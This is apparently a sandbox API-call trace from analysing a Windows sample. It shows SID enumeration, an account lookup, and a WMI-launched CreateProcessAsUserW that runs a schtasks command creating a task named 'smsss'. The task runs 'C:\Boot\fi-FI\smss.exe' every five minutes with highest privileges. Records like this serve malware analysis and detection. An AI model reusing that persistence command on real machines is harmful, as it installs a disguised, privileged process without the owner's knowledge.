[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0075.150] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0075.150] malloc (_Size=0x18) returned 0xef040 [0075.150] malloc (_Size=0x18) returned 0xef020 [0075.150] SysStringLen (param_1="S-1-5") returned 0x5 [0075.150] SysStringLen (param_1="-") returned 0x1 [0075.150] memcpy (in: _Dst=0x381298, _Src=0x381148, _Size=0xc | out: _Dst=0x381298) returned 0x381298 [0075.150] memcpy (in: _Dst=0x3812a2, _Src=0x381238, _Size=0x4 | out: _Dst=0x3812a2) returned 0x3812a2 [0075.150] free (_Block=0xeef00) [0075.150] free (_Block=0xef040) [0075.150] malloc (_Size=0x18) returned 0xef040 [0075.150] malloc (_Size=0x18) returned 0xeef00 [0075.150] SysStringLen (param_1="S-1-5-") returned 0x6 [0075.150] SysStringLen (param_1="21") returned 0x2 [0075.150] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0075.151] memcpy (in: _Dst=0x381244, _Src=0x381148, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0075.151] free (_Block=0xef020) [0075.151] free (_Block=0xef040) [0075.151] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0075.151] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0075.151] malloc (_Size=0x18) returned 0xef040 [0075.151] malloc (_Size=0x18) returned 0xef020 [0075.151] SysStringLen (param_1="S-1-5-21") returned 0x8 [0075.151] SysStringLen (param_1="-") returned 0x1 [0075.151] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0x12 | out: _Dst=0x381148) returned 0x381148 [0075.151] memcpy (in: _Dst=0x381158, _Src=0x381298, _Size=0x4 | out: _Dst=0x381158) returned 0x381158 [0075.151] free (_Block=0xeef00) [0075.151] free (_Block=0xef040) [0075.151] malloc (_Size=0x18) returned 0xef040 [0075.151] malloc (_Size=0x18) returned 0xeef00 [0075.151] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0075.151] SysStringLen (param_1="4219442223") returned 0xa [0075.151] memcpy (in: _Dst=0x337a58, _Src=0x381148, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0075.151] memcpy (in: _Dst=0x337a6a, _Src=0x381238, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0075.151] free (_Block=0xef020) [0075.151] free (_Block=0xef040) [0075.151] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0075.151] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0075.151] malloc (_Size=0x18) returned 0xef040 [0075.152] malloc (_Size=0x18) returned 0xef020 [0075.152] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0075.152] SysStringLen (param_1="-") returned 0x1 [0075.152] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0075.152] memcpy (in: _Dst=0x33838e, _Src=0x381148, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0075.152] free (_Block=0xeef00) [0075.152] free (_Block=0xef040) [0075.152] malloc (_Size=0x18) returned 0xef040 [0075.152] malloc (_Size=0x18) returned 0xeef00 [0075.152] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0075.152] SysStringLen (param_1="4223814209") returned 0xa [0075.152] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0075.152] memcpy (in: _Dst=0x34da90, _Src=0x381148, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0075.152] free (_Block=0xef020) [0075.152] free (_Block=0xef040) [0075.152] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0075.152] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0075.152] malloc (_Size=0x18) returned 0xef040 [0075.152] malloc (_Size=0x18) returned 0xef020 [0075.152] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0075.152] SysStringLen (param_1="-") returned 0x1 [0075.152] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0075.152] memcpy (in: _Dst=0x34dbb4, _Src=0x381148, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0075.152] free (_Block=0xeef00) [0075.153] free (_Block=0xef040) [0075.153] malloc (_Size=0x18) returned 0xef040 [0075.153] malloc (_Size=0x18) returned 0xeef00 [0075.153] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0075.153] SysStringLen (param_1="3835049652") returned 0xa [0075.153] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0075.153] memcpy (in: _Dst=0x34daa6, _Src=0x381148, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0075.153] free (_Block=0xef020) [0075.153] free (_Block=0xef040) [0075.153] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0075.153] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0075.153] malloc (_Size=0x18) returned 0xef040 [0075.153] malloc (_Size=0x18) returned 0xef020 [0075.153] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0075.153] SysStringLen (param_1="-") returned 0x1 [0075.153] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0075.153] memcpy (in: _Dst=0x34dbca, _Src=0x381148, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0075.153] free (_Block=0xeef00) [0075.153] free (_Block=0xef040) [0075.153] malloc (_Size=0x18) returned 0xef040 [0075.154] malloc (_Size=0x18) returned 0xeef00 [0075.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0075.154] SysStringLen (param_1="1000") returned 0x4 [0075.154] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0075.154] memcpy (in: _Dst=0x34dabc, _Src=0x381148, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0075.154] free (_Block=0xef020) [0075.154] free (_Block=0xef040) [0075.154] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0075.154] malloc (_Size=0x5e) returned 0xf0800 [0075.154] free (_Block=0xeef00) [0075.154] malloc (_Size=0x18) returned 0xeef00 [0075.155] free (_Block=0xf0800) [0075.155] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0075.156] GetLastError () returned 0x7a [0075.156] malloc (_Size=0x14) returned 0xef040 [0075.156] malloc (_Size=0x16) returned 0xef020 [0075.156] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0075.156] malloc (_Size=0x18) returned 0xef0a0 [0075.156] malloc (_Size=0x18) returned 0xeef60 [0075.157] free (_Block=0xef040) [0075.157] free (_Block=0xef020) [0075.157] free (_Block=0xeff00) [0075.157] free (_Block=0xeef60) [0075.157] free (_Block=0xef0a0) [0075.157] free (_Block=0xeef00) [0075.158] free (_Block=0xee200) [0075.158] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0075.158] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0075.158] GetLastError () returned 0x7a [0075.158] malloc (_Size=0x2c) returned 0xee240 [0075.158] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0075.158] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.158] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0075.158] malloc (_Size=0x1c) returned 0xeff00 [0075.158] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0075.158] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0075.158] malloc (_Size=0x18) returned 0xeef00 [0075.159] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0075.159] malloc (_Size=0x18) returned 0xef0a0 [0075.159] malloc (_Size=0x18) returned 0xeef60 [0075.159] SysStringLen (param_1="S-1-") returned 0x4 [0075.159] SysStringLen (param_1="5") returned 0x1 [0075.159] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0075.159] memcpy (in: _Dst=0x381240, _Src=0x381148, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0075.159] free (_Block=0xeef00) [0075.159] free (_Block=0xef0a0) [0075.159] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0075.159] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0075.159] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0075.159] malloc (_Size=0x18) returned 0xef0a0 [0075.159] malloc (_Size=0x18) returned 0xeef00 [0075.159] SysStringLen (param_1="S-1-5") returned 0x5 [0075.159] SysStringLen (param_1="-") returned 0x1 [0075.159] memcpy (in: _Dst=0x381148, _Src=0x381238, _Size=0xc | out: _Dst=0x381148) returned 0x381148 [0075.159] memcpy (in: _Dst=0x381152, _Src=0x381298, _Size=0x4 | out: _Dst=0x381152) returned 0x381152 [0075.159] free (_Block=0xeef60) [0075.159] free (_Block=0xef0a0) [0075.159] malloc (_Size=0x18) returned 0xef0a0 [0075.159] malloc (_Size=0x18) returned 0xeef60 [0075.159] SysStringLen (param_1="S-1-5-") returned 0x6 [0075.160] SysStringLen (param_1="21") returned 0x2 [0075.160] memcpy (in: _Dst=0x381298, _Src=0x381148, _Size=0xe | out: _Dst=0x381298) returned 0x381298 [0075.160] memcpy (in: _Dst=0x3812a4, _Src=0x381238, _Size=0x6 | out: _Dst=0x3812a4) returned 0x3812a4 [0075.160] free (_Block=0xeef00) [0075.160] free (_Block=0xef0a0) [0075.160] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0075.160] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0075.160] malloc (_Size=0x18) returned 0xef0a0 [0075.160] malloc (_Size=0x18) returned 0xeef00 [0075.160] SysStringLen (param_1="S-1-5-21") returned 0x8 [0075.160] SysStringLen (param_1="-") returned 0x1 [0075.160] memcpy (in: _Dst=0x381238, _Src=0x381298, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0075.160] memcpy (in: _Dst=0x381248, _Src=0x381148, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0075.160] free (_Block=0xeef60) [0075.160] free (_Block=0xef0a0) [0075.160] malloc (_Size=0x18) returned 0xef0a0 [0075.160] malloc (_Size=0x18) returned 0xeef60 [0075.160] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0075.160] SysStringLen (param_1="4219442223") returned 0xa [0075.160] memcpy (in: _Dst=0x337a58, _Src=0x381238, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0075.160] memcpy (in: _Dst=0x337a6a, _Src=0x381298, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0075.160] free (_Block=0xeef00) [0075.160] free (_Block=0xef0a0) [0075.160] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0075.161] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0075.161] malloc (_Size=0x18) returned 0xef0a0 [0075.161] malloc (_Size=0x18) returned 0xeef00 [0075.161] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0075.161] SysStringLen (param_1="-") returned 0x1 [0075.161] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0075.161] memcpy (in: _Dst=0x33838e, _Src=0x381238, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0075.161] free (_Block=0xeef60) [0075.161] free (_Block=0xef0a0) [0075.161] malloc (_Size=0x18) returned 0xef0a0 [0075.161] malloc (_Size=0x18) returned 0xeef60 [0075.161] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0075.161] SysStringLen (param_1="4223814209") returned 0xa [0075.161] memcpy (in: _Dst=0x34db78, _Src=0x338368, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0075.161] memcpy (in: _Dst=0x34dba0, _Src=0x381238, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0075.161] free (_Block=0xeef00) [0075.161] free (_Block=0xef0a0) [0075.161] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0075.161] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0075.161] malloc (_Size=0x18) returned 0xef0a0 [0075.161] malloc (_Size=0x18) returned 0xeef00 [0075.161] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0075.161] SysStringLen (param_1="-") returned 0x1 [0075.161] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0075.161] memcpy (in: _Dst=0x34daa4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0075.162] free (_Block=0xeef60) [0075.162] free (_Block=0xef0a0) [0075.162] malloc (_Size=0x18) returned 0xef0a0 [0075.162] malloc (_Size=0x18) returned 0xeef60 [0075.162] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0075.162] SysStringLen (param_1="3835049652") returned 0xa [0075.162] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0075.162] memcpy (in: _Dst=0x34dbb6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0075.162] free (_Block=0xeef00) [0075.162] free (_Block=0xef0a0) [0075.162] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0075.162] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0075.162] malloc (_Size=0x18) returned 0xef0a0 [0075.162] malloc (_Size=0x18) returned 0xeef00 [0075.162] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0075.162] SysStringLen (param_1="-") returned 0x1 [0075.162] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0075.162] memcpy (in: _Dst=0x34daba, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0075.162] free (_Block=0xeef60) [0075.162] free (_Block=0xef0a0) [0075.162] malloc (_Size=0x18) returned 0xef0a0 [0075.162] malloc (_Size=0x18) returned 0xeef60 [0075.163] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0075.163] SysStringLen (param_1="1000") returned 0x4 [0075.163] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0075.163] memcpy (in: _Dst=0x34dbcc, _Src=0x381238, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0075.163] free (_Block=0xeef00) [0075.163] free (_Block=0xef0a0) [0075.163] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0075.163] malloc (_Size=0x5e) returned 0xf0800 [0075.163] free (_Block=0xeef60) [0075.163] malloc (_Size=0x18) returned 0xeef60 [0075.163] free (_Block=0xf0800) [0075.163] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0075.165] GetLastError () returned 0x7a [0075.165] malloc (_Size=0x14) returned 0xef0a0 [0075.165] malloc (_Size=0x16) returned 0xeef00 [0075.165] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0075.165] malloc (_Size=0x18) returned 0xef020 [0075.165] malloc (_Size=0x18) returned 0xef040 [0075.165] free (_Block=0xef0a0) [0075.166] free (_Block=0xeef00) [0075.166] free (_Block=0xeff00) [0075.166] free (_Block=0xef040) [0075.166] free (_Block=0xef020) [0075.166] free (_Block=0xeef60) [0075.166] free (_Block=0xee240) [0075.166] malloc (_Size=0x48) returned 0xed270 [0075.166] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0075.171] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0075.172] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0075.172] malloc (_Size=0x18) returned 0xeef60 [0075.172] CreateEnvironmentBlock () returned 0x1 [0075.200] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0075.200] malloc (_Size=0x18) returned 0xef020 [0075.200] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xc10, dwThreadId=0xc24)) returned 1 [0075.204] CloseHandle (hObject=0x2f8) returned 1 [0075.204] CloseHandle (hObject=0x2fc) returned 1 [0075.204] free (_Block=0xef020) [0075.204] DestroyEnvironmentBlock () returned 0x1 [0075.204] malloc (_Size=0x48) returned 0xed2c0 [0075.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x55cbb240, dwHighDateTime=0x1d9eb0c)) [0075.204] SetEvent (hEvent=0x1f0) returned 1 [0075.205] CloseHandle (hObject=0x234) returned 1 [0075.205] CloseHandle (hObject=0x244) returned 1 [0075.309] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0075.309] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0075.309] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0075.896] SetLastError (dwErrCode=0x0) [0075.896] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0075.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0075.896] SetLastError (dwErrCode=0x0) [0075.897] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0075.897] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0075.897] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0075.897] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0075.897] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0075.897] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0075.899] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0075.901] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.901] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.901] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0075.901] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.901] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0075.901] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0075.921] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0075.921] GetCurrentThread () returned 0xfffffffffffffffe [0075.921] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0075.922] malloc (_Size=0xd8) returned 0xf4740 [0075.922] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0075.922] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0075.923] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0075.923] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0075.923] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0075.924] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0075.924] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0075.924] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0075.924] GetProcAddress (hModule=0x7feffcb0000, 